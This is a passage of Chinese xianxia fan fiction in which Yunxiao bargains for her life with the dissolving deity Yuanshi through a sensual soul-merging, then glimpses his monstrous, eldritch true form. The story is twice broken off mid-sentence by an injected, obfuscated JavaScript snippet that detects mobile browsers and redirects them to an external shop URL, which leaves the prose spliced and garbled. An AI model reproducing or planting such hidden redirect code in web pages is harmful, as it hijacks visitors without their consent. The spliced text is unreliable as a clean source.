祂又一次重复,带着慈悲的微笑,“云霄,你的时间不多了。” 一切温情与放纵都是假象,祂愿意给她机会,有问必答,只因确定她走不出这三清殿。 某世的她提出请求,而祂可有可无,愿意给她一世机会尝试。若成功,祂获得稳定的锚点,不必再担忧理性丧失。若不能,祂亦无任何损失,只是耽误了一点时间,依旧可以吃掉她,延续祂的理性。 云霄合理怀疑,元始甚至是更偏向于直接吞噬自己,简单轻松,省去了许多麻烦。 她的脑海中乱糟糟的,刚因为元始的有问必答而放松些许的精神再度绷紧,飞速的思考起来。 为什么另一个自己在浩劫来临后会提出跟元始结契呢?那究竟是一场什么样的浩劫? 云霄了解自己,她不会为了活下来而乱说话,一定是想到某种可能,有几率实现,她才会提出来。 她又问,“另一个时空的我,缘何能见您不死?” 此世的她看祂一眼就神魂俱灭,另一个时空的云霄都快被失去理性的祂吞噬了,难道看到的也是元始的意念化身?如果不是,她为何能活着提出请求? 只要她的问题不太超纲,元始对此间的云霄依旧是有问必答。 “那一世,你于封神劫中应劫而死,转修神道,以人道香火重塑化身,元神寄托于封神榜。封神榜不毁,则神魂不灭。” 云霄一时默然,假如没有与元始的交易拉扯,九曲黄河阵一劫,以琼霄碧霄的张狂态度,加上她未曾向通天求助,三姐妹身死道消几乎是板上钉钉的。 从某种程度来说,元始的确是救了她,也给了她两个妹妹日后脱离封神榜重修的机会。只是她的未来如何却也变得诡异莫测了。 她看到元始的腰部已经彻底空洞,随着水滴剥落的已经来到祂的胸肋处,一片又一片,如深秋的落叶轻飘飘的剥离,湮灭。预示着时间的流逝。 她努力振作精神,自言自语的思忖, “肉身已毁,香火化身几乎是虚无,所以还是因为神魂吗……结契……” 云霄又想到世人眼中的结契。 最早的结契说法来自于上古妖庭时期,妖皇帝俊与羲和。相传他们一个诞生于太阳星,一个诞生于太阴星,太阳太阴即今时的日月,据说也是盘古的两颗眼睛所演化。 阴阳相生,所以帝俊与羲和天然受对方的吸引,一见钟情。在帝俊建立妖族天庭后,他们决定举办一场盛大的仪式昭告天地。 这是天地间第一场婚礼,由女娲娘娘主婚。他们自愿立下天地誓言,神魂绑定,从此同心同德,同进同修。天地有感,降下功德与帝俊羲和女娲。 就和三霄追赶那结拜的风潮一般,当时的修士们也追赶结契的风潮。 于是自帝俊羲和后,许多修士都找了关系好值得信任的同修结契,不拘种族,不拘性别,甚至涌现出一批搞出炉鼎行采补之术的邪修…… 简而言之,结契最重要的一步,就是神魂绑定。 可是神魂要如何绑定? 截教弟子众多,鱼龙混杂,结成道侣的自然不少,她自己虽然没有那个缘分,却至少参加过五场同门的结道仪式。 让元始跟她一起立天地誓言? 貌似不太可能…… 云霄突然想到了琼霄。 她那文静少言的二妹妹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13839198|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在某次参加完一场同门的结道大典后显得相当的不愉快。 问其原因,琼霄回答,“享受过不就行了,干嘛非要立下天地誓言,非彼此不可呢?这下他们以后就只能跟对方一个人神魂双修了,多不自在啊。” 云霄对此道了解不多,当时还困惑的问琼霄,“不立下天地誓言,如何能双修呢?” 琼霄一脸诧异,“姐姐竟不知?” “神魂双修并不需要结契,只要双方自愿神魂相融即可,跟谁都行的。我跟公明师兄试过,跟碧霄也试过啊。” 碧霄点点头,补充说明,“跟二姐试的没有跟公明哥哥舒服。说起来,我们好像真的没跟大姐试过?要不要大姐也……呜呜呜!” 琼霄熟练捂住碧霄的嘴,小声斥她,“大姐要是沉迷双修,师尊布置的课业谁来做?你跟我吗?” 碧霄慌忙摇头,自己捂嘴,再也不敢提。 云霄当年并未把双修之谈放在心上,只是对两个妹妹顽劣不好好学习的态度深感头疼,很是盯了她们一段时间的课业。如今想来…… 神魂相融也算亲如一体,跟元始所谓“成为祂的一部分”似乎也能说得过去。她记得琼霄说了双修跟谁都行,不需要立天地誓言,跟圣人也行吗? “滴答——” 云霄一时心下惴惴,那水滴落下的声音仿佛不是元始预知未来的反噬,而是她的催命符。 她想,试也是死,不试也是死,要不就试一试?反正双修这种事都是修为高的吃亏,从对方那里得不到什么进益或感悟,她修为低,她怕什么呢? 做了一番心理建设,云霄小小的试探道, “弟子之前一时情急,对师伯不敬,实属不该。” 元始道,“无妨。” 云霄偷偷抬眼看祂,吞吞吐吐,“既然无妨,弟子可否再对师伯不敬一次?” 绕是元始一贯情绪淡漠,此刻也默了默。 正如她咬祂一口,留不下任何痕迹,祂历经无数次世界碎裂,独自存活于平行时空寻找生机,千疮百孔,波澜不惊。除了极少数铭刻的遗憾,其他的都不可能影响到祂。 此刻,元始是这样认为的。 于是祂答,“随你。” 云霄小声自语,“意识化身,应该也是神魂的一部分吧——” 这是修士的常识,元始听出她话语中的踌躇,并非疑问,自然也不会回答。 “二师伯,得罪了。” 说罢,她好像做了什么重大的决定,深吸一口气,拉住了祂的手,缓缓放到了她自己的眉心。 这个动作在元始方才为了平静她的情绪之时也做过,但这一次却是她自己主动。 祂看到一丝淡金色的清光自云霄的元神泥丸宫中迸发而出,如日出时分的云霞,一点点渲染攀附而上。 好像一根羽毛挠过掌心,莫名的,搔到痒处。 祂看到云霄的脸庞微微泛起桃花,杏眼朦胧,如同喝醉了酒,陶然欲醉,细喘微微。 然后那一点点瘙痒自掌心窜到手臂,漫撒雨滴,接近化雾的温柔绵密。 以至于祂先凝滞了两息,才后知后觉的想到洪荒中对她此举的定义—— 神交。 21.第二次演化未来 云霄从未想过,有朝一日,自己会主动与人神交,那个人还是她避之不及的二师伯。 更没有想到,神交会是如此,如此的……难以言喻。 她的神识出泥丸宫,连接元始的意识化身。出去的是神识,传递回来的却是奇异的快感。酥麻的快感自眉心,自识海深处蔓延向全身。 云霄感到脸庞发热,全身都在发热。神念的接触就如一捧温热的泉水,按她的频率,缓慢开拓过去从未触碰的荒途,令冰封沉积的甬道温柔的溶解,焕然一新。 神识相融所得到的抚慰和快感远胜过她过去感知过的一切,或许只有顿悟进益能够媲美,然后者使人平静安详,前者使人沉沦陶醉。而前者又比后者实现起来轻易。 琼霄她们怕耽误她修行,不带她玩的就是这样的感觉吗? 必须承认,是很容易上瘾。 短短的时间内,经历死亡的痛苦,对元始的憎恶和恐惧似乎都离她远去了。 她与祂神念相融,混如一体。 过去了多久?云霄暂缓连接,努力挤出一点思绪。 她不敢看祂,她想要看祂。 她如此冒犯,祂为何还没有反应?她已如此沉沦,祂为何依旧不起波澜? 大罗金仙与圣人的境界差距之大,即便神念相融,二者依旧是不对等的。 只有一只手的连接,云霄不可知祂,元始却可以轻易洞悉她的全部,一切情绪包括思想。 “你太慢了。” 祂用言语回应她内心的疑惑。 不是不生波澜,而是,她太慢了。 云霄茫然的抬头,那只手掌离开她的额头,顺着脸庞落下,祂仅有的半截躯体也落了下来,与她平齐,相距不到一臂,让她清清楚楚看到祂冷肃而慈悲的脸。 “……二,师伯?” 她迟疑着,看到斑驳的裂纹已蔓延到祂的下巴,临近嘴唇,颜色亦泛着灰白。浓郁的檀香混合着莲花的气息将她笼罩。 “你太慢了。”元始微微皱眉的重复。 云霄找到了一个可行的方式。神识相交融,她的确可以算是祂的一部分。且能够保留她的自我,不算是完全被祂同化。只是…… 她这样的速度,半晌也只是连接了祂的一条手臂。如此浅薄的连接能保她不死吗? 元始感到不满足。 祂此身是纯粹的意识所化,云霄触碰到祂的任何一部分都可以与祂神交,手掌也可以。但神念系出于元神泥丸宫,自然像云霄那般贴近额头才是最佳的位置。 只是因为时间不多了,祂想要更快更完善一点。这对他们两个都好。 元始如此对自己解释。 “我来,会更快。” 灰白的触须自眉心爬出来,目光相对,祂感知到云霄的茫然无措和沉沦,然后平静的贴近了云霄的额头。 眉心相贴的瞬间,无边热与冷交织,如龙卷风瞬间包裹席卷了云霄的全部,击垮一切抵抗意志。 而元始则获得了苏醒了其他时空记忆以来,许多年未曾有过的平和和放松。 就好像,祂真的可以获得一个锚点,一线牵扯,却能使祂于无尽时空中摆脱混乱与癫狂的迷雾。 “哈——” 云霄一下子瘫倒下去,好像连骨头都在这种冲击下粉碎了,无力支撑。 如果说她方才的主动是将细微感知一点点的扩展,如春风细雨轻打芭蕉。那么元始的主动便是彻底的碾碎,一切感知化作了泥泞,令她为之震撼,为之坍塌,为之空白。于空白中再来重塑,于毁灭中演化蓬勃。 她所得不仅有快感,更有无数可理解,不可理解的天地感悟,如洪流冲击她的识海。 皓月反来照耀萤火,大海倒去汇入溪流。境界上的差异便是比如的直观,蛮横,让人措手不及。 云霄知道她应该是赚了,如果现在结束回去闭关,她能一直从大罗初期突破到大罗金仙巅峰没有任何瓶颈。运气好的话准圣也不是不能冲一冲。 可是祂太大方了,她真的受不住。 她只是想拉个手,小小冒犯下,建立基本连接通过死关而已。现在却是整个人都送出去了,里里外外,被渗入的透彻。 只是要口水喝,何至于把人撑死呢? 没必要,真的没必要。 一只手用力擒住她的肩头,不至于让脱力的云霄继续下滑,然她吐出的话语却支离破碎。 “师……师伯,停下……我可以……第二次……” 元始不甚满足,可祂似乎没有理由拒绝。 他们已经神念相融,目的达成,现在正是开启第二次演化未来的时机。 祂缓缓抬眼,灰白的触须依旧连接着她的眉心,沉声说, “那么,这是第二次。” 穿越扭曲无边的漩涡,第二次演化未来开启—— 这一次,云霄活着看到了祂。 她活着,却来不及惊喜,就先陷入不可言明的恐惧。 世界一片漆黑,只可见黑暗深处巨大的苍白。 云霄起先以为自己看到了玉京山,巍峨,巨大,一时幽深凹陷如无尽深渊,一时膨胀凸出像巨大的球体,遍布蜿蜒细碎的裂纹。 那裂纹也是活的,如心脏一般收缩跳跃,如蚯蚓一样扭曲,蠕动着重组,违背了人的意识对空间的认知,不可名状,扭曲而癫狂。 然而淡金色的神念连接着她的眉心与巨大苍白之物的中心。 一念之牵。 祂睁开了眼,深渊向她打开,云霄方才知道那灰白是祂的脸。只是祂的脸。 还有无边际的黑暗里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13861472|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涌动着未知的不可预见的恐怖。 那灰白而巨大的人脸,由无数碎片组成,每一个碎片都是一只失去了瞳孔的眼睛,白灰相间,形状错乱,毫无秩序可言。 她看不到黑暗中的所在,只能看到密密麻麻的无瞳之眼。它们空白,邪恶,年轻,又衰老,由混乱的线条组成,是亘古不变的灰暗,没有丝毫光彩,亦无任何感情。 神念相连的感应告诉云霄,元始的本体并无理性存在,祂是个彻头彻尾的怪物。 怪物!怪物!怪物! 颤颤巍巍,她与怪物还有一缕神念相融。那缕连接散发着莹莹微光,淡金色的,脆弱又牢固的紧密连接,形同一体,共享感知。 她感知到祂无情,祂感知到她恐惧。 情绪,祂有多久未曾感知过情绪了? 漆黑的世界里里出现了一点光亮。映入祂的眼,没有任何感情的深渊有了微弱的光。 祂看到了云霄。知晓那情绪来自于她。 目光中伸出不可名状的阴影,缠住云霄的手脚。将她拉近,举起,抬到祂的眼前。 无数只眼睛,漫空星辰一齐看到了她。 云霄听到嘈杂的呓语,每一个都是元始的声音。冷漠,贪婪,断断续续,零零碎碎,来来回回的喧嚣着。 【想吃】 【不够】 【还要】 【太少了】 不!别吃她! 云霄感到莫大的恐慌,腰间的异物勒得格外紧,几乎要将她拦腰折断。她只能抓握住那一缕连接的神念,如同救命稻草,望祂能够听见她。 “二师伯,我是云霄,求您醒来……” 巨大的白色脸庞密布无瞳之眼,收缩,膨胀,没有固定的正面,无处不是正面。 祂注视着她,注视那一缕连接在她眉心处,淡金色的神念光辉。 那光辉纵如萤火,然本无光的深渊有了焦点,唯一的光明,以萤火照亮宇宙。映照着无数只没有任何感情的眼底,此刻充满了食欲——又不仅仅只是食欲。 祂的一丝波澜起伏于云霄来说便是惊涛骇浪,摧毁了她的理性。 她开始语无伦次,惊惶不安。越是恐慌,越是抗拒,导致神念的连接也不那么紧密了。 这使祂感到不满足。 “……结契……不……醒醒……放了我……” 祂听到她的声音,断断续续。打破了亘古不变的安宁。 神的平静被破坏,祭品却没有主动献上应有的诚意,甚至想要逃离。 那么祂只好自取。 不可名状的阴影中长出强壮有力的触须,黑暗是有形的物质。 祂缠住她,寸寸贴合,裹住她的每一丝气息,碾碎她浑身的骨头,吮吸她含泪的眼珠。 “别……”